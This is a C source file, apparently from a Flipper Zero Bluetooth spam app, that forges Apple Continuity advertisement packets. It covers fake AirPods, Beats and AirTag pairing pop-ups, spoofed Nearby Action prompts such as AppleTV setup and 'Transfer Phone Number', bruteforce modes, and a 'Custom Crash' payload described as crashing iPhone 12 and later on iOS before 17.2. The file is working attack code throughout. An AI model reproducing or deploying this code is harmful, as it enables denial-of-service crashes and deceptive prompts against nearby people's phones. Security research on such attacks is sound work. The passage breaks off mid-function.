#include "continuity.h" #include "_protocols.h" // Hacked together by @Willy-JL // iOS 17 Crash by @ECTO-1A // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ typedef struct { uint8_t value; const char* name; } ContinuityColor; static const ContinuityColor colors_white[] = { {0x00, "White"}, }; static const ContinuityColor colors_airpods_max[] = { {0x00, "White"}, {0x02, "Red"}, {0x03, "Blue"}, {0x0F, "Black"}, {0x11, "Light Green"}, }; static const ContinuityColor colors_beats_flex[] = { {0x00, "White"}, {0x01, "Black"}, }; static const ContinuityColor colors_beats_solo_3[] = { {0x00, "White"}, {0x01, "Black"}, {0x6, "Gray"}, {0x7, "Gold/White"}, {0x8, "Rose Gold"}, {0x09, "Black"}, {0xE, "Violet/White"}, {0xF, "Bright Red"}, {0x12, "Dark Red"}, {0x13, "Swamp Green"}, {0x14, "Dark Gray"}, {0x15, "Dark Blue"}, {0x1D, "Rose Gold 2"}, {0x20, "Blue/Green"}, {0x21, "Purple/Orange"}, {0x22, "Deep Blue/ Light blue"}, {0x23, "Magenta/Light Fuchsia"}, {0x25, "Black/Red"}, {0x2A, "Gray / Disney LTD"}, {0x2E, "Pinkish white"}, {0x3D, "Red/Blue"}, {0x3E, "Yellow/Blue"}, {0x3F, "White/Red"}, {0x40, "Purple/White"}, {0x5B, "Gold"}, {0x5C, "Silver"}, }; static const ContinuityColor colors_powerbeats_3[] = { {0x00, "White"}, {0x01, "Black"}, {0x0B, "Gray/Blue"}, {0x0C, "Gray/Red"}, {0x0D, "Gray/Green"}, {0x12, "Red"}, {0x13, "Swamp Green"}, {0x14, "Gray"}, {0x15, "Deep Blue"}, {0x17, "Dark with Gold Logo"}, }; static const ContinuityColor colors_powerbeats_pro[] = { {0x00, "White"}, {0x02, "Yellowish Green"}, {0x03, "Blue"}, {0x04, "Black"}, {0x05, "Pink"}, {0x06, "Red"}, {0x0B, "Gray ?"}, {0x0D, "Sky Blue"}, }; static const ContinuityColor colors_beats_solo_pro[] = { {0x00, "White"}, {0x01, "Black"}, }; static const ContinuityColor colors_beats_studio_buds[] = { {0x00, "White"}, {0x01, "Black"}, {0x02, "Red"}, {0x03, "Blue"}, {0x04, "Pink"}, {0x06, "Silver"}, }; static const ContinuityColor colors_beats_x[] = { {0x00, "White"}, {0x01, "Black"}, {0x02, "Blue"}, {0x05, "Gray"}, {0x1D, "Pink"}, {0x25, "Dark/Red"}, }; static const ContinuityColor colors_beats_studio_3[] = { {0x00, "White"}, {0x01, "Black"}, {0x02, "Red"}, {0x03, "Blue"}, {0x18, "Shadow Gray"}, {0x19, "Desert Sand"}, {0x25, "Black / Red"}, {0x26, "Midnight Black"}, {0x27, "Desert Sand 2"}, {0x28, "Gray"}, {0x29, "Clear blue/ gold"}, {0x42, "Green Forest camo"}, {0x43, "White Camo"}, }; static const ContinuityColor colors_beats_studio_pro[] = { {0x00, "White"}, {0x01, "Black"}, }; static const ContinuityColor colors_beats_fit_pro[] = { {0x00, "White"}, {0x01, "Black"}, {0x02, "Pink"}, {0x03, "Grey/White"}, {0x04, "Full Pink"}, {0x05, "Neon Green"}, {0x06, "Night Blue"}, {0x07, "Light Pink"}, {0x08, "Brown"}, {0x09, "Dark Brown"}, }; static const ContinuityColor colors_beats_studio_buds_[] = { {0x00, "Black"}, {0x01, "White"}, {0x02, "Transparent"}, {0x03, "Silver"}, {0x04, "Pink"}, }; static const struct { uint16_t value; const char* name; const ContinuityColor* colors; const uint8_t colors_count; } pp_models[] = { {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)}, {0x0A20, "AirPods Max", colors_airpods_max, COUNT_OF(colors_airpods_max)}, {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)}, {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)}, {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)}, {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)}, {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)}, {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)}, {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)}, {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)}, {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)}, {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)}, {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)}, {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)}, {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)}, {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)}, {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)}, {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)}, {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)}, }; static const uint8_t pp_models_count = COUNT_OF(pp_models); static const struct { uint8_t value; const char* name; } pp_prefixes[] = { {0x07, "New Device"}, {0x01, "Not Your Device"}, {0x05, "New Airtag"}, }; static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes); static const struct { uint8_t value; const char* name; } na_actions[] = { {0x13, "AppleTV AutoFill"}, {0x24, "Apple Vision Pro"}, {0x05, "Apple Watch"}, {0x27, "AppleTV Connecting..."}, {0x20, "Join This AppleTV?"}, {0x19, "AppleTV Audio Sync"}, {0x1E, "AppleTV Color Balance"}, {0x09, "Setup New iPhone"}, {0x2F, "Sign in to other device"}, {0x02, "Transfer Phone Number"}, {0x0B, "HomePod Setup"}, {0x01, "Setup New AppleTV"}, {0x06, "Pair AppleTV"}, {0x0D, "HomeKit AppleTV Setup"}, {0x2B, "AppleID for AppleTV?"}, }; static const uint8_t na_actions_count = COUNT_OF(na_actions); static const char* type_names[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = "AirDrop", [ContinuityTypeProximityPair] = "Continuity Pair", [ContinuityTypeAirplayTarget] = "Airplay Target", [ContinuityTypeHandoff] = "Handoff", [ContinuityTypeTetheringSource] = "Tethering Source", [ContinuityTypeNearbyAction] = "Continuity Action", [ContinuityTypeNearbyInfo] = "Nearby Info", [ContinuityTypeCustomCrash] = "Continuity Custom", }; static const char* get_name(const Payload* payload) { const ContinuityCfg* cfg = &payload->cfg.continuity; return type_names[cfg->type]; } #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size static uint8_t packet_sizes[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = HEADER_LEN + 18, [ContinuityTypeProximityPair] = HEADER_LEN + 25, [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, [ContinuityTypeHandoff] = HEADER_LEN + 14, [ContinuityTypeTetheringSource] = HEADER_LEN + 6, [ContinuityTypeNearbyAction] = HEADER_LEN + 5, [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) { ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL; ContinuityType type; if(cfg && cfg->type != 0x00) { type = cfg->type; } else { const ContinuityType types[] = { ContinuityTypeProximityPair, ContinuityTypeNearbyAction, ContinuityTypeCustomCrash, }; type = types[rand() % COUNT_OF(types)]; } uint8_t size = packet_sizes[type]; uint8_t* packet = malloc(size); uint8_t i = 0; packet[i++] = size - 1; // Size packet[i++] = 0xFF; // AD Type (Manufacturer Specific) packet[i++] = 0x4C; // Company ID (Apple, Inc.) packet[i++] = 0x00; // ... packet[i++] = type; // Continuity Type packet[i] = size - i - 1; // Continuity Size i++; switch(type) { case ContinuityTypeAirDrop: { packet[i++] = 0x00; // Zeros packet[i++] = 0x00; // ... packet[i++] = 0x00; // ... packet[i++] = 0x00; // ... packet[i++] = 0x00; // ... packet[i++] = 0x00; // ... packet[i++] = 0x00; // ... packet[i++] = 0x00; // ... packet[i++] = 0x01; // Version packet[i++] = (rand() % 256); // AppleID packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // Phone Number packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // Email packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // Email2 packet[i++] = (rand() % 256); // ... packet[i++] = 0x00; // Zero break; } case ContinuityTypeProximityPair: { uint16_t model; uint8_t color; switch(payload ? payload->mode : PayloadModeRandom) { case PayloadModeRandom: default: { uint8_t model_index = rand() % pp_models_count; uint8_t color_index = rand() % pp_models[model_index].colors_count; model = pp_models[model_index].value; color = pp_models[model_index].colors[color_index].value; break; } case PayloadModeValue: model = cfg->data.proximity_pair.model; color = cfg->data.proximity_pair.color; break; case PayloadModeBruteforce: switch(cfg->data.proximity_pair.bruteforce_mode) { case ContinuityPpBruteforceModel: default: model = cfg->data.proximity_pair.model = payload->bruteforce.value; color = cfg->data.proximity_pair.color; break; case ContinuityPpBruteforceColor: model = cfg->data.proximity_pair.model; color = cfg->data.proximity_pair.color = payload->bruteforce.value; break; } break; } uint8_t prefix; if(cfg && cfg->data.proximity_pair.prefix != 0x00) { prefix = cfg->data.proximity_pair.prefix; } else { if(model == 0x0055 || model == 0x0030) prefix = 0x05; else prefix = 0x01; } packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05) packet[i++] = (model >> 0x08) & 0xFF; // Device Model packet[i++] = (model >> 0x00) & 0xFF; // ... packet[i++] = 0x55; // Status packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level packet[i++] = (rand() % 256); // Lid Open Counter packet[i++] = color; // Device Color packet[i++] = 0x00; furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload i += 16; break; } case ContinuityTypeAirplayTarget: { packet[i++] = (rand() % 256); // Flags packet[i++] = (rand() % 256); // Configuration Seed packet[i++] = (rand() % 256); // IPv4 Address packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... break; } case ContinuityTypeHandoff: { packet[i++] = 0x01; // Version packet[i++] = (rand() % 256); // Initialization Vector packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // AES-GCM Auth Tag packet[i++] = (rand() % 256); // Encrypted Payload packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... break; } case ContinuityTypeTetheringSource: { packet[i++] = 0x01; // Version packet[i++] = (rand() % 256); // Flags packet[i++] = (rand() % 101); // Battery Life packet[i++] = 0x00; // Cell Service Type packet[i++] = (rand() % 8); // ... packet[i++] = (rand() % 5); // Cell Service Strength break; } case ContinuityTypeNearbyAction: { uint8_t action; switch(payload ? payload->mode : PayloadModeRandom) { case PayloadModeRandom: default: action = na_actions[rand() % na_actions_count].value; break; case PayloadModeValue: action = cfg->data.nearby_action.action; break; case PayloadModeBruteforce: action = cfg->data.nearby_action.action = payload->bruteforce.value; break; } uint8_t flags; if(cfg && cfg->data.nearby_action.flags != 0x00) { flags = cfg->data.nearby_action.flags; } else { flags = 0xC0; if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' } packet[i++] = flags; // Action Flags packet[i++] = action; // Action Type furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; break; } case ContinuityTypeNearbyInfo: { packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code packet[i++] = (rand() % 256); // Status Flags packet[i++] = (rand() % 256); // Authentication Tag packet[i++] = (rand() % 256); // ... packet[i++] = (rand() % 256); // ... break; } case ContinuityTypeCustomCrash: { // Found by @ECTO-1A uint8_t action = na_actions[rand() % na_actions_count].value; uint8_t flags = 0xC0; if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' i -= 2; // Override segment header packet[i++] = ContinuityTypeNearbyAction; // Continuity Type packet[i++] = 5; // Continuity Size packet[i++] = flags; // Action Flags packet[i++] = action; // Action Type furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; packet[i++] = 0x00; // Additional Action Data Terminator (?) packet[i++] = 0x00; // ... packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?) furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???) i += 3; break; } default: break; } *_size = size; *_packet = packet; } enum { _ConfigPpExtraStart = ConfigExtraStart, ConfigPpModel, ConfigPpColor, ConfigPpPrefix, ConfigPpCOUNT, }; enum { _ConfigNaExtraStart = ConfigExtraStart, ConfigNaAction, ConfigNaFlags, ConfigNaCOUNT, }; enum { _ConfigCcExtraStart = ConfigExtraStart, ConfigCcInfoFixed, ConfigCcInfoLock, ConfigCcInfoDevice, ConfigCcCOUNT, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); switch(cfg->type) { case ContinuityTypeProximityPair: { switch(index) { case ConfigPpModel: scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel); break; case ConfigPpColor: if(payload->mode != PayloadModeRandom) scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor); break; case ConfigPpPrefix: scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix); break; default: ctx->fallback_config_enter(ctx, index); break; } break; } case ContinuityTypeNearbyAction: { switch(index) { case ConfigNaAction: scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction); break; case ConfigNaFlags: scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags); break; default: ctx->fallback_config_enter(ctx, index); break; } break; } case ContinuityTypeCustomCrash: { switch(index) { case ConfigCcInfoLock: case ConfigCcInfoDevice: break; default: ctx->fallback_config_enter(ctx, index); break; } break; } default: ctx->fallback_config_enter(ctx, index); break; } } static void pp_model_changed(VariableItem* item) { Ctx* ctx = variable_item_get_context(item); Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; uint8_t index = variable_item_get_current_value_index(item); const char* color_name = NULL; char color_name_buf[3]; uint8_t colors_count; uint8_t value_index_color; if(index) { index--; if(payload->mode != PayloadModeBruteforce || cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel) payload->mode = PayloadModeValue; cfg->data.proximity_pair.model = pp_models[index].value; variable_item_set_current_value_text(item, pp_models[index].name); colors_count = pp_models[index].colors_count; if(payload->mode == PayloadModeValue) { for(uint8_t j = 0; j < colors_count; j++) { if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) { color_name = pp_models[index].colors[j].name; value_index_color = j; break; } } if(!color_name) { snprintf( color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color); color_name = color_name_buf; value_index_color = colors_count; } } else { color_name = "Bruteforce"; value_index_color = colors_count; } } else { payload->mode = PayloadModeRandom; variable_item_set_current_value_text(item, "Random"); color_name = "Random"; colors_count = 1; value_index_color = 0; } item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor); variable_item_set_values_count(item, colors_count); variable_item_set_current_value_index(item, value_index_color); variable_item_set_current_value_text(item, color_name); } static void pp_color_changed(VariableItem* item) { Payload* payload = variable_item_get_context(item); ContinuityCfg* cfg = &payload->cfg.continuity; uint8_t index = variable_item_get_current_value_index(item); if(payload->mode != PayloadModeBruteforce || cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor) payload->mode = PayloadModeValue; uint8_t model_index = 0; for(; model_index < pp_models_count; model_index++) { if(cfg->data.proximity_pair.model == pp_models[model_index].value) break; } cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value; variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name); } static void pp_prefix_changed(VariableItem* item) { Payload* payload = variable_item_get_context(item); ContinuityCfg* cfg = &payload->cfg.continuity; uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; cfg->data.proximity_pair.prefix = pp_prefixes[index].value; variable_item_set_current_value_text(item, pp_prefixes[index].name); } else { cfg->data.proximity_pair.prefix = 0x00; variable_item_set_current_value_text(item, "Auto"); } } static void na_action_changed(VariableItem* item) { Payload* payload = variable_item_get_context(item); ContinuityCfg* cfg = &payload->cfg.continuity; uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; payload->mode = PayloadModeValue; cfg->data.nearby_action.action = na_actions[index].value; variable_item_set_current_value_text(item, na_actions[index].name); } else { payload->mode = PayloadModeRandom; variable_item_set_current_value_text(item, "Random"); } } static void extra_config(Ctx* ctx) { Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; VariableItemList* list = ctx->variable_item_list; VariableItem* item; uint8_t value_index; switch(cfg->type) { case ContinuityTypeProximityPair: { item = variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx); const char* model_name = NULL; char model_name_buf[5]; const char* color_name = NULL; char color_name_buf[3]; uint8_t colors_count; uint8_t value_index_color; switch(payload->mode) { case PayloadModeRandom: default: model_name = "Random"; value_index = 0; color_name = "Random"; colors_count = 1; value_index_color = 0; break; case PayloadModeValue: for(uint8_t i = 0; i < pp_models_count; i++) { if(cfg->data.proximity_pair.model == pp_models[i].value) { model_name = pp_models[i].name; value_index = i + 1; colors_count = pp_models[i].colors_count; for(uint8_t j = 0; j < colors_count; j++) { if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) { color_name = pp_models[i].colors[j].name; value_index_color = j; break; } } break; } } if(!model_name) { snprintf( model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model); model_name = model_name_buf; value_index = pp_models_count + 1; colors_count = 0; } if(!color_name) { snprintf( color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color); color_name = color_name_buf; value_index_color = colors_count; } break; case PayloadModeBruteforce: switch(cfg->data.proximity_pair.bruteforce_mode) { case ContinuityPpBruteforceModel: default: model_name = "Bruteforce"; value_index = pp_models_count + 1; snprintf( color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color); color_name = color_name_buf; colors_count = 1; value_index_color = 0; break; case ContinuityPpBruteforceColor: for(uint8_t i = 0; i < pp_models_count; i++) { if(cfg->data.proximity_pair.model == pp_models[i].value) { model_name = pp_models[i].name; value_index = i + 1; colors_count = pp_models[i].colors_count; break; } } if(!model_name) { snprintf( model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model); model_name = model_name_buf; value_index = pp_models_count + 1; colors_count = 0; } color_name = "Bruteforce"; value_index_color = colors_count; break; } break; } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, model_name); item = variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload); variable_item_set_current_value_index(item, value_index_color); variable_item_set_current_value_text(item, color_name); item = variable_item_list_add( list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload); const char* prefix_name = NULL; char prefix_name_buf[3]; if(cfg->data.proximity_pair.prefix == 0x00) { prefix_name = "Auto"; value_index = 0; } else { for(uint8_t i = 0; i < pp_prefixes_count; i++) { if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { prefix_name = pp_prefixes[i].name; value_index = i + 1; break; } } if(!prefix_name) { snprintf( prefix_name_buf, sizeof(prefix_name_buf), "%02X", cfg->data.proximity_pair.prefix); prefix_name = prefix_name_buf; value_index = pp_prefixes_count + 1; } } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, prefix_name); break; } case ContinuityTypeNearbyAction: { item = variable_item_list_add( list, "Action Type", na_actions_count + 1, na_action_changed, payload); const char* action_name = NULL; char action_name_buf[3]; switch(payload->mode) { case PayloadModeRandom: default: action_name = "Random"; value_index = 0; break; case PayloadModeValue: for(uint8_t i = 0; i < na_actions_count; i++) { if(cfg->data.nearby_action.action == na_actions[i].value) { action_name = na_actions[i].name; value_index = i + 1; break; } } if(!action_name) { snprintf( action_name_buf, sizeof(action_name_buf), "%02X", cfg->data.nearby_action.action); action_name = action_name_buf; value_index = na_actions_count + 1; } break; case PayloadModeBruteforce: action_name = "Bruteforce"; value_index = na_actions_count + 1; break; } variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, action_name); item = variable_item_list_add(list, "Flags", 0, NULL, NULL); const char* flags_name = NULL; char flags_name_buf[3]; if(cfg->data.nearby_action.flags == 0x00) { flags_name = "Auto"; } else { snprintf( flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags); flags_name = flags_name_buf; } variable_item_set_current_value_text(item, flags_name); break; } case ContinuityTypeCustomCrash: { variable_item_list_add(list, "CRASH FIXED IN IOS 17.2", 0, NULL, NULL); variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL); variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL); break; } default: break; } variable_item_list_set_enter_callback(list, config_callback, ctx); } static uint8_t config_counts[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = 0, [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1, [ContinuityTypeAirplayTarget] = 0, [ContinuityTypeHandoff] = 0, [ContinuityTypeTetheringSource] = 0, [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1, [ContinuityTypeNearbyInfo] = 0, [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1, }; static uint8_t config_count(const Payload* payload) { const ContinuityCfg* cfg = &payload->cfg.continuity; return config_counts[cfg->type]; } const Protocol protocol_continuity = { .icon = &I_apple, .get_name = get_name, .make_packet = make_packet, .extra_config = extra_config, .config_count = config_count, }; static void pp_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; switch(index) { case 0: payload->mode = PayloadModeRandom; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); break; case pp_models_count + 1: scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom); break; case pp_models_count + 2: payload->mode = PayloadModeBruteforce; payload->bruteforce.counter = 0; payload->bruteforce.value = cfg->data.proximity_pair.model; payload->bruteforce.size = 2; cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); break; default: if(payload->mode != PayloadModeBruteforce || cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel) payload->mode = PayloadModeValue; cfg->data.proximity_pair.model = pp_models[index - 1].value; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); break; } } void scene_continuity_pp_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; bool value = payload->mode == PayloadModeValue || (payload->mode == PayloadModeBruteforce && cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel); submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx); if(payload->mode == PayloadModeRandom) { selected = 0; } bool found = false; for(uint8_t i = 0; i < pp_models_count; i++) { submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx); if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) { found = true; selected = i + 1; } } submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx); if(!found && value) { selected = pp_models_count + 1; } submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx); if(!value && payload->mode == PayloadModeBruteforce) { selected = pp_models_count + 2; } submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; if(event.type == SceneManagerEventTypeCustom) { scene_manager_previous_scene(ctx->scene_manager); return true; } return false; } void scene_continuity_pp_model_on_exit(void* _ctx) { Ctx* ctx = _ctx; submenu_reset(ctx->submenu); } static void pp_model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; if(payload->mode != PayloadModeBruteforce || cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel) payload->mode = PayloadModeValue; cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); } void scene_continuity_pp_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Model Code"); ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF; ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF; byte_input_set_result_callback( byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; if(event.type == SceneManagerEventTypeCustom) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); return true; } return false; } void scene_continuity_pp_model_custom_on_exit(void* _ctx) { UNUSED(_ctx); } static void pp_color_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; uint8_t model_index = 0; uint8_t colors_count = 0; if(payload->mode == PayloadModeValue || (payload->mode == PayloadModeBruteforce && cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) { for(; model_index < pp_models_count; model_index++) { if(cfg->data.proximity_pair.model == pp_models[model_index].value) { colors_count = pp_models[model_index].colors_count; break; } } } if(index == colors_count) { scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom); } else if(index == colors_count + 1U) { payload->mode = PayloadModeBruteforce; payload->bruteforce.counter = 0; payload->bruteforce.value = cfg->data.proximity_pair.color; payload->bruteforce.size = 1; cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); } else { if(payload->mode != PayloadModeBruteforce || cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor) payload->mode = PayloadModeValue; cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); } } void scene_continuity_pp_color_on_enter(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; bool value = payload->mode == PayloadModeValue || (payload->mode == PayloadModeBruteforce && cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor); bool found = false; uint8_t colors_count = 0; if(payload->mode == PayloadModeValue || (payload->mode == PayloadModeBruteforce && cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) { for(uint8_t i = 0; i < pp_models_count; i++) { if(cfg->data.proximity_pair.model == pp_models[i].value) { colors_count = pp_models[i].colors_count; for(uint8_t j = 0; j < colors_count; j++) { submenu_add_item( submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx); if(!found && value && cfg->data.proximity_pair.color == pp_models[i].colors[j].value) { found = true; selected = j; } } break; } } } submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx); if(!found && value) { selected = colors_count; } submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx); if(!value && payload->mode == PayloadModeBruteforce) { selected = colors_count + 1; } submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; if(event.type == SceneManagerEventTypeCustom) { scene_manager_previous_scene(ctx->scene_manager); return true; } return false; } void scene_continuity_pp_color_on_exit(void* _ctx) { Ctx* ctx = _ctx; submenu_reset(ctx->submenu); } static void pp_color_custom_callback(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; if(payload->mode != PayloadModeBruteforce || cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor) payload->mode = PayloadModeValue; cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00); view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); } void scene_continuity_pp_color_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Device Color"); ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF; byte_input_set_result_callback( byte_input, pp_color_custom_callback, 